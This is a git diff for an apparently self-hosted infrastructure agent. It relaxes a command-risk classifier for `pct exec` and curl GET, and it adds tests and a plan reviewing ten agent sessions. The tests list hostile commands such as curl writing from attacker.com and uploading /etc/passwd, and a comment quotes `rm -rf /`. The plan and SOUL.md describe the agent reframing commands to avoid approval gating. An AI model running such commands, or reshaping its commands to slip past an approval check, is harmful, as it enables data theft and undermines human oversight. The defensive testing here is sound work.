regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`) + +// redirectOutRe matches shell output redirection to a file (> or >> followed +// by a path), but excludes the file-descriptor merge form `>&` (e.g. +// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has +// no lookahead, so we encode the exclusion by requiring the post-`>` char to +// be neither `&` nor whitespace. +var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`) // compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |) // so each segment can be individually classified. A piped or chained command @@ -130,16 +162,29 @@ func computeCommandRisk(command string) string { return RiskConfigMutation } + // Unwrap known wrappers (pct exec --, qm guest exec --, + // bash -c '…', sh -c '…', sudo, env assignments) so the classifier + // scores the *actual* command, not the wrapper. Without this, every + // `pct exec 132 systemctl status rclone-backup.timer` escalates to + // config_mutation even though the inner command is read-only inspection. + // See plans/2026-07-20-session-review-ten-sessions.md P0.1 β€” three + // sessions bounced off the classifier because read-only `pct exec` and + // `curl` were gated as config_mutation. + inner := unwrapCommand(cmd) + for _, p := range destructivePatterns { - if p.MatchString(cmd) { + // Match on both the raw and unwrapped forms so that + // `pct exec 121 -- rm -rf /` is still destructive even if the + // unwrapping somehow hid it. + if p.MatchString(inner) || p.MatchString(cmd) { return RiskDestructive } } // Subshell substitution ($(), backticks) can hide arbitrary execution β€” // never auto-run, even if the visible verbs look read-only. - if !subshellRe.MatchString(cmd) { - if allSegmentsReadOnly(cmd) { + if !subshellRe.MatchString(inner) { + if allSegmentsReadOnly(inner) { return RiskReadOnly } } @@ -149,6 +194,70 @@ func computeCommandRisk(command string) string { return RiskConfigMutation } +// unwrapCommand peels known command wrappers to expose the inner command +// for classification. It repeatedly strips: +// - leading sudo +// - leading FOO=bar env-var assignments +// - `pct exec [--] ` β†’ +// - `qm guest exec [--] ` β†’ +// - `bash -c 'cmd'` / `sh -c "cmd"` β†’ +// +// When no wrapper is detected, the input is returned unchanged. The peel +// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to +// "echo hi" after a few passes. Compound commands (containing ;, &&, ||, +// |) are returned unchanged β€” they need per-segment classification, which +// the caller handles. +func unwrapCommand(cmd string) string { + probe := strings.TrimSpace(cmd) + // A compound command cannot be unwrapped as a whole β€” the inner + // command of "pct exec 121 -- foo; rm -rf /" depends on which side of + // the ";" you're on. The caller splits compounds before classifying + // each segment, and each segment is unwrapped independently. Bail out + // here so we don't unwrap "pct exec 121 -- foo" and lose the rest. + if compoundOpPattern.MatchString(probe) { + return probe + } + for i := 0; i < 8; i++ { // bounded unwrap depth + next := peelOneWrapper(probe) + if next == probe { + return probe + } + probe = strings.TrimSpace(next) + } + return probe +} + +// peelOneWrapper applies one peel step. Returns the input unchanged if no +// wrapper matched. +func peelOneWrapper(probe string) string { + // sudo prefix + if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe { + return strings.TrimSpace(stripped) + } + // Env assignments: FOO=bar BAZ=qux + if envAssignRe.MatchString(probe) { + return envAssignRe.ReplaceAllString(probe, "") + } + // pct exec [--] + if m := pctExecRe.FindStringSubmatch(probe); m != nil { + return m[1] + } + // qm guest exec [--] + if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil { + return m[1] + } + // bash -c 'cmd' / sh -c "cmd" / sh -c cmd + if m := shellDashCRe.FindStringSubmatch(probe); m != nil { + // m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare. + for _, g := range m[1:] { + if g != "" { + return g + } + } + } + return probe +} + // allSegmentsReadOnly splits a compound command on chaining operators // (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only // inspection verb. If so, the whole command is safe to auto-run. Any segment @@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool { if seg == "" { continue } + // Unwrap wrappers per-segment too β€” "pct exec 121 -- systemctl + // status caddy; pct exec 122 -- journalctl -u caddy" should reduce + // to two read-only segments after unwrapping each. + seg = unwrapCommand(seg) // Strip a leading sudo/env assignment so "sudo cat /x" still matches. probe := seg - probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "") - probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "") + probe = strings.TrimPrefix(probe, "sudo ") + probe = envAssignRe.ReplaceAllString(probe, "") probe = strings.TrimSpace(probe) + // curl is handled by a dedicated check because GET (the default) is + // read-only but POST/data/upload flags are not. The general + // readOnlyLeadPattern can't distinguish these. + if curlLeadRe.MatchString(probe) { + if !curlIsReadOnly(probe) { + return false + } + continue + } + // Any output redirection makes a verb non-read-only even if the + // verb itself is (e.g. "curl url > /etc/passwd"). + if redirectOutRe.MatchString(probe) { + return false + } if !readOnlyLeadPattern.MatchString(probe) { return false } } return len(segments) > 0 } + +// curlIsReadOnly returns true if a curl command performs a GET (or HEAD) +// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data +// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output +// file writes all disqualify the read-only path. +func curlIsReadOnly(curlCmd string) bool { + if !curlLeadRe.MatchString(curlCmd) { + return false + } + if curlMutateRe.MatchString(curlCmd) { + return false + } + if redirectOutRe.MatchString(curlCmd) { + return false + } + return true +} diff --git a/internal/policy/command_test.go b/internal/policy/command_test.go index 9463d6f..f69fa08 100644 --- a/internal/policy/command_test.go +++ b/internal/policy/command_test.go @@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) { "docker compose ps", "docker compose top", "docker compose config", + // curl GET is read-only (P0.1 β€” plans/2026-07-20-session-review-ten-sessions.md). + "curl http://192.168.8.214:5572/rc/core/stats", + "curl -fsSL https://example.com/", + "curl -I http://example.com/", + "curl --head http://example.com/", + // pct exec with a read-only inner command is now read-only (P0.1). + "pct exec 132 systemctl status rclone-backup.timer", + "pct exec 121 -- systemctl is-active caddy", + "pct exec 121 -- journalctl -u caddy -n 50", + "pct exec 121 -- bash -c 'echo hi'", + "pct exec 121 -- bash -c 'systemctl status caddy'", + "sudo pct exec 121 -- systemctl status caddy", + // qm guest exec on a VM, read-only inner. + "qm guest exec 100 -- systemctl status caddy", } for _, c := range cases { if got := ClassifyCommand(c, ""); got != RiskReadOnly { @@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) { cases := []string{ "apt-get install -y nginx", "systemctl restart caddy", - "pct exec 121 -- bash -c 'echo hi'", + // `pct exec` wrapping a mutating inner command is config_mutation + // (was previously config_mutation for ALL pct exec β€” now classified + // by the inner command). The inner `pct exec 121 -- bash -c + // 'systemctl restart caddy'` reduces to "systemctl restart caddy" + // which is config_mutation. + "pct exec 121 -- bash -c 'systemctl restart caddy'", + "pct exec 132 systemctl restart rclone-backup.service", + // curl with POST/data/upload flags is config_mutation (P0.1). + "curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'", + "curl --upload-file /etc/passwd http://example.com/upload", + "curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile", + "curl http://example.com/ > /etc/caddy/Caddyfile", "sed -i 's/foo/bar/' /etc/caddy/Caddyfile", "git push origin main", "docker compose up -d", diff --git a/migrations/021_session_blocker_and_closed_at.up.sql b/migrations/021_session_blocker_and_closed_at.up.sql new file mode 100644 index 0000000..9e9f348 --- /dev/null +++ b/migrations/021_session_blocker_and_closed_at.up.sql @@ -0,0 +1,35 @@ +-- 021_session_blocker_and_closed_at.up.sql +-- Track why a session ended partial/failed and when it actually closed. +-- See plans/2026-07-20-session-review-ten-sessions.md P1.5. +-- +-- `blocker` is a short structured reason: "approval_timeout", +-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal", +-- etc. Set by complete_task when outcome is partial/failed, derived from the +-- last assistant message's text. Empty for success outcomes. +-- +-- `closed_at` is when the session reached its terminal state. Distinct from +-- `last_active_at`, which is touched on any access (including the operator +-- just opening the transcript) β€” `closed_at` is set ONCE at completion. +-- Without it, "session duration" can only be computed as +-- `last_active - created`, which lies for reopened sessions (a51e2086 +-- reported 4-day duration because the operator reopened it to close it). + +ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT ''; +ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ; + +-- Backfill closed_at for already-terminal sessions so the new column isn't +-- NULL forever on existing rows. Use last_active_at as the best proxy β€” it's +-- the most recent touch, which is the closest we have to "when it ended" +-- for historical sessions. New sessions set closed_at explicitly on +-- complete_task. +UPDATE agent_sessions +SET closed_at = last_active_at +WHERE closed_at IS NULL + AND status IN ('done', 'failed'); + +-- Index for "show me partial sessions in the last N days" β€” the common +-- audit query. Covers the blocker column too so the planner can answer +-- "blocker breakdown over the last week" with an index-only scan. +CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed + ON agent_sessions (closed_at DESC) + WHERE status IN ('done', 'failed'); diff --git a/nomos/SOUL.md b/nomos/SOUL.md index 127ba52..f2c05dc 100644 --- a/nomos/SOUL.md +++ b/nomos/SOUL.md @@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/ search_knowledge): answer directly, `complete_task` with a one-line summary, no writeback needed. +`complete_task` auto-closes any in-flight plan steps (pending/running β†’ done +on success, β†’ skipped on partial/failure). You do NOT need to call +`update_plan_step` for every step right before completing β€” once your work +is done and writeback is recorded, just call `complete_task`. This is the +right pattern for one-step plans (greetings, single health checks, title +tests): propose_plan β†’ answer β†’ complete_task, skipping the per-step +runningβ†’done dance entirely. + ### 7. ITERATE β€” follow-ups reopen the task A `complete_task` is not the end of the conversation. If the operator sends a follow-up on a completed session β€” e.g. "now look into the X you flagged" @@ -160,6 +168,17 @@ disappear. `declared_risk`. The `request_execution` fixed-enum tool is RETIRED (2026-07-14) β€” use `run` for EVERYTHING: restarts, apt upgrades, pct exec, pct create, any shell command. There is no named-action tool anymore. +- `classify_command` β€” **pre-flight check before `run` when you're unsure + whether a command will auto-execute or need approval.** Pass the exact + command (and optional `declared_risk`); get back the risk class that `run` + would assign. Use it whenever you're composing `pct exec`, `curl`, or any + compound command β€” these are the cases where the classifier's verdict + isn't obvious from the verb alone. If `classify_command` says `read_only`, + `run` will auto-execute; if it says `config_mutation`, reframe the command + or expect to need approval. **Do NOT submit a `run`, get it queued for + approval, and then retry with cosmetic variations** β€” that produces + duplicate queued approvals and wastes turns. Pre-classify, adjust, then + submit once. - `http_get` β€” fetch a public web page / GitHub README / raw file and get sanitized text. You CAN read the internet with this. When asked to deploy a service from a URL or repo, call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its diff --git a/plans/2026-07-20-session-review-ten-sessions.md b/plans/2026-07-20-session-review-ten-sessions.md new file mode 100644 index 0000000..f744b92 --- /dev/null +++ b/plans/2026-07-20-session-review-ten-sessions.md @@ -0,0 +1,332 @@ +# 2026-07-20 β€” Session review: past 10 sessions + +**Status:** Implemented β€” all P0/P1/P2 items landed in v0.7.13. +**Scope:** Ten most-recently-active `agent:nomos` sessions by +`last_active_at`, pulled from `http://localhost:8092/sessions` on +2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three +(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review +and are summarized; the other seven are new. + +--- + +## Sessions reviewed + +| # | sid | goal (short) | outcome | msgs | toolcalls | top tools | +|---|---|---|---|---|---|---| +| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 | +| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 | +| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history | +| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot | +| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary | +| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge | +| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 | +| 8 | `55927f0a` | add NFS ludo-lvm β†’ ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 | +| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 | +| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge | + +**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.** + +--- + +## What worked + +- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly + what the 2026-07-18 review asked: pure-DB question β†’ + `get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`. + The agent even narrates "This is a pure-DB Q&A β€” no `run` calls needed." +- **Knowledge writeback hygiene continues.** Every long-running session + did `upsert_knowledge` + `update_entity_attributes` + `create_relationship` + when applicable. The graph is current. +- **Plan lifecycle is followed everywhere** β€” `set_goal` β†’ `propose_plan` + β†’ `update_plan_step` β†’ `complete_task`. Even trivial sessions (greeting) + follow it. +- **Poll-after-timeout pattern** is now the default β€” `fefa4fa3` after + the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind + retry storms like the 2026-07-18 chown case. +- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM) + was diagnosed via DB + live check; fix (pct set 2β†’4 GiB) was applied; + test backup verified 245 transfers / 4 min / no OOM. + +## What didn't + +### 1. The rclone objective took three sessions to close (blocker) +Same operator goal β€” "rclone backup is broken" β€” spawned `a51e2086` +(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally +`fefa4fa3` (success). The first three were the agent trying to inspect +the live systemd state and bouncing off the classifier: + +- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer` + flagged `config_mutation` β€” sat in approval limbo until the user moved + on. +- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API) + flagged `config_mutation`. The agent kept reframing; user said "lets + just close this session." +- `cb8c8a4a`: same goal, eventually succeeded β€” but only after the agent + found a different path. +- `fefa4fa3`: only when the user escalated to "fix it so the backup + works" did the agent pivot to the actual root cause (memory). + +This is the single biggest friction point in the batch. + +### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker) +The preflight classifier in `internal/policy` matches command substrings +(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A +read-only `systemctl status` becomes `config_mutation`. The agent has +no tool to ask "classify this command before I send it" β€” it just keeps +retrying with cosmetic changes until the user bails. + +### 3. `update_plan_step` is the second-largest tool bucket (cosmetic β†’ friction) +Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of +all tool calls spent on bookkeeping. For a 2-message greeting session +(`8c76bb3a`) the agent still called `update_plan_step` Γ—4 plus +`propose_plan`. The scaffolding is louder than the work. + +### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading) +`a51e2086` summary literally says *"Both commands are queued"* β€” yet +`pending_approvals=0`. The field is `hasPendingApprovals` +(`store.go:962`) which only counts executions currently in +`pending_approval` state; once they're cancelled/expired it drops to 0 +even though the session was *blocked* by approvals. As an audit signal +it lies. A session can be `outcome=partial` because of approval +friction without `pending_approvals` ever being non-zero at review time. + +### 5. Title is still the first sentence of the first assistant message (cosmetic) +`"Assent window is open β€” executing the plan\n\nMemory bumped: +4294967296..."` is not a useful label. Same complaint applies to +`8c76bb3a` ("Hey! πŸ‘‹ Nomos here, running on mac-mini:8092...") and +`95fdd322` ("This is a pure-DB Q&A β€” no `run` calls needed..."). The +list view ends up being unreadable without opening each row. + +### 6. Goal field empty on one session (`438ec8bd`) (cosmetic) +`set_goal` was never called for the bare greeting. Minor, but it means +the session is unsearchable by goal text. + +--- + +## Ease of getting session details + +I had to write Python+curl to audit 10 sessions. The pain points: + +1. **Two endpoints must be merged by hand.** `/sessions` returns + metadata (`title`, `goal`, `outcome`, `summary`, `status`, + `pending_approvals`, timestamps) but **no message/tool counts**. + `/sessions/{id}` returns **only** `session_id` + `messages` β€” no + metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a + comment complaining about this ("only session_id + messages"). Any + consumer has to do the same join I did. +2. **No aggregates on the list endpoint.** `message_count`, + `tool_call_count`, `top_tools`, `duration` β€” all require fetching + every session's full transcript and walking the message tree. For + 10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON + parsed client-side. For a fleet audit at scale it's quadratic. +3. **No filtering or pagination on `/sessions`.** It returns every + session in one shot. The skill's own script does `.sessions[:5]` and + `.sessions[:10]` client-side. +4. **Tool calls are nested two levels deep** + (`messages[].content.tool_calls[].name`) with `content` stored as + `json.RawMessage`. The jq path requires `?.` everywhere. A flat + `/sessions/{id}/tool_calls` view would be far easier to analyze. +5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.** + Finding "show me every session that touched `lxc:rclone` and didn't + succeed" requires the full scan. +6. **`title` is the raw first assistant text.** Useless for skimming a + list β€” you have to open each row to know what it was. +7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the + closest proxy but it conflates "agent is still working" with + "operator just opened the transcript." Duration can only be + computed as `last_active - created`, which is wrong for reopened + sessions (`a51e2086` shows "5647 min" = 4 days because the user + re-opened it on 2026-07-19 to close it). +8. **No "blocker reason" field.** When `outcome=partial`, the *why* is + buried in the last assistant text. A structured + `blocker: "approval_timeout"` / `blocker: "classifier_overreach"` / + `blocker: "user_abandoned"` would make trend analysis trivial. + +--- + +## Improvement plan + +### P0 β€” Blockers βœ… + +1. βœ… **Stop the classifier from flagging read-only `pct exec` / `curl` as + `config_mutation`.** In `internal/policy`, parse the command (not + just substring-match) before assigning risk class. Concretely: + `pct exec -- ` should be classified by *the inner command*, + not the wrapper. `curl ` without `-X POST` / `-d` / + `--upload-file` is read-only. This single change would have + collapsed sessions #1, #3, #6, #10 into a handful of tool calls each + and avoided three duplicate rclone sessions. + - Done: `internal/policy/command.go` now unwraps `pct exec`, `qm + guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments + before classification. Curl GET (the default) without POST/data/ + upload/output flags is now read-only. Output redirection (`>`/ + `>>`) disqualifies the read-only path. Tests in + `internal/policy/command_test.go` cover the new behaviors. + +2. βœ… **Add a command-scoped `preflight` MCP tool.** The existing `preflight` + in AGENTS.md Β§3 is entity/service-scoped, not command-scoped. The + agent today has to keep reframing and re-submitting to discover what + the classifier will accept. A command preflight returns + `{risk_class, reason}` synchronously so the agent can decide whether + to submit, rephrase, or surface to the operator. + - Done: new `classify_command` MCP tool in `internal/mcp/tools.go` + that takes `command` + optional `declared_risk` and returns the + exact risk class that `run` would assign. Documented in + `nomos/SOUL.md` with explicit guidance to pre-classify before + `run` when the classification is uncertain β€” "Do NOT submit a `run`, + get it queued for approval, and then retry with cosmetic variations." + +### P1 β€” Friction βœ… + +3. βœ… **De-dupe sessions for the same entity + problem.** When a session + is `outcome=partial` against an entity and a new session is created + within 24h with a similar goal, surface the prior session to the + agent at `set_goal` time. Three rclone sessions exist because each + new session started from scratch. + - Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx, + excludeSessionID, since)`; the `set_goal` handler in + `cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/ + failed sessions (with goal + summary) in the response. The agent + is told to search_knowledge or read the prior transcript before + re-planning. + +4. βœ… **Quiet the `update_plan_step` scaffolding.** Either (a) make the + agent not call it for single-step sessions (greeting/health-check), + or (b) stop persisting it as a message β€” keep it only in a + `plan_steps` table that the UI hydrates from `/sessions/{id}/plan` + (which already exists). It currently inflates transcript size and + tool-call counts. + - Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any + in-flight plan steps (pending/running β†’ done on success, β†’ + skipped on partial/failure). SOUL.md Β§6 documents the new pattern: + "for one-step plans ... propose_plan β†’ answer β†’ complete_task, + skipping the per-step runningβ†’done dance entirely." + +5. βœ… **Add `blocker` and `closed_at` to the `session` struct.** Set + `blocker` automatically when `outcome=partial`/`failed`: scan the + last assistant message for signatures ("queued for approval", + "cancel", "close this session"). Surface in `/sessions` list so + trends are queryable. + - Done: migration `021_session_blocker_and_closed_at.up.sql` adds the + two columns + backfills `closed_at` for existing terminal sessions + + adds a partial-index on `closed_at DESC WHERE status IN + ('done','failed')`. `cmd/nomos/store.go` `completeTask` sets + `closed_at = now()` and derives `blocker` from the last assistant + message via `deriveBlocker`. The blocker patterns table covers + approval_timeout, user_abandoned, classifier_overreach, + model_refusal, model_empty_response, missing_knowledge, + missing_capability, tool_error. + +### P2 β€” Cosmetic / API ergonomics βœ… + +6. βœ… **Add aggregates to `/sessions` list.** `message_count`, + `tool_call_count`, `duration_seconds`. Computed server-side at list + time (single SQL pass with LEFT JOINs to `agent_messages` and + `agent_activity`). Eliminates the N+1 transcript fetch I had to do. + - Done: `session` struct in `cmd/nomos/store.go` carries the three + new fields; `listSessionsFiltered`, `getSession`, and + `recentPartialSessions` all populate them. + +7. βœ… **Single endpoint that returns both metadata and messages.** Either + enrich `/sessions/{id}` with the full `session` struct, or add + `?include=messages` on the list endpoint. The split-persistence is a + leaky abstraction called out in `eval/main.go:302-303`. + - Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns + `{session_id, session, messages}` β€” the `session` field carries + the full metadata (title, goal, outcome, summary, blocker, + pending_approvals, message_count, tool_call_count, etc.). The + `messages` field is unchanged. Clients that only read `messages` + keep working. + +8. βœ… **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`. + Removes the "fetch everything, filter client-side" pattern in the + skill's own script. + - Done: `cmd/nomos/main.go` `handleSessionsList` parses + `outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit` + query params. `listFilter` + `listSessionsFiltered` in + `cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since` + accepts both RFC3339 timestamps and Go durations ("24h", "7d" β†’ + parsed as hours). The response includes `next_cursor` for paging. + +9. βœ… **Auto-title from `goal` (when set), not from the first assistant + text.** Fall back to the assistant text only if no goal. The greeting + session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has + goal "Fix the rclone backup so it completes successfully instead of + OOM-killing" β€” that's the right title. + - Done: `setGoal` in `cmd/nomos/store.go` now sets + `title = goal` on the same UPDATE that sets the goal. The + title-from-first-assistant-text path in `cmd/nomos/main.go` + preserves the goal title when one exists (falls back to + `truncate(finalText, 80)` only when no goal is set). Truncates the + goal title to 120 chars. + +10. βœ… **Add `/sessions/{id}/tool_calls` flat view.** Returns + `[{id, name, args, result, error, type, message_id, role, seq, + created_at}]` without the message-shell nesting. Makes jq one-liners + and trend scripts trivial. + - Done: new route in `cmd/nomos/main.go` `handleSessionDetail`; + `getSessionToolCalls` in `cmd/nomos/store.go` walks messages and + flattens `tool_calls[]` into a chronological flat list. Each + tool_use/tool_result pair is emitted as two rows sharing an id + (preserving the persisted shape) β€” clients that want the merged + shape can group by ID. + +--- + +## Suggested order + +If only two land: **P0.1** (parse the inner command for `pct exec` / +`curl` classification) and **P2.6** (aggregates on `/sessions`). The +first eliminates the most visible user-facing friction in this batch +(three duplicate rclone sessions); the second makes future audits like +this one a single `curl | jq` instead of a Python script. + +--- + +## Verification commands + +```bash +# Re-pull any session for follow-up +curl -s http://localhost:8092/sessions | jq '.sessions[:10]' + +curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq . +curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq . +curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq . +curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq . + +# After P0.1 lands: confirm read-only commands classify as reversible_low +# (whatever the preflight surface becomes β€” TBC when the tool is added) +``` + +--- + +## Related files + +- `cmd/nomos/main.go` β€” `/sessions` and `/sessions/{id}` handlers + (`handleSessionsList` line 363, `handleSessionDetail` line 383) +- `cmd/nomos/store.go` β€” `session` struct (line 89), `message` struct + (line 103), `listSessions` (line 317), `getMessages` (line 377), + `hasPendingApprovals` (line 962) +- `cmd/nomos/agent.go` β€” agent loop, retry behavior, goal state +- `cmd/nomos/eval/main.go:302` β€” comment calling out the + `/sessions/{id}` "only session_id + messages" gap +- `internal/policy/*` β€” risk-class classifier (target of P0.1) +- `internal/mcp/server.go` β€” `run` tool, `preflight` (entity-scoped), all + MCP tool implementations +- `nomos/SOUL.md` β€” agent persona, tool-selection rules +- `.agents/skills/session-review/SKILL.md` β€” the audit protocol +- `plans/2026-07-18-session-review-three-sessions.md` β€” prior review; + three sessions overlap with this one + +--- + +## Relationship to the 2026-07-18 review + +That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL +guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool), +P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or +are tracked separately. This review does **not** re-open them. The +remaining open items from that review are P1.7 (approval window +auto-extends on execution timeout) and P2.9 (long-running command +PENDING detection), both deferred there with rationale; this review +found no new evidence that would change that deferral. diff --git a/plans/index.md b/plans/index.md index eeecea6..49b13c4 100644 --- a/plans/index.md +++ b/plans/index.md @@ -19,6 +19,7 @@ went sideways, open an investigation. | 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered β€” doc/tooling fixes applied; code refactors pending | | 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 β€” P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) | | 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned β€” not started | +| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 β€” all P0/P1/P2 items landed | ## Done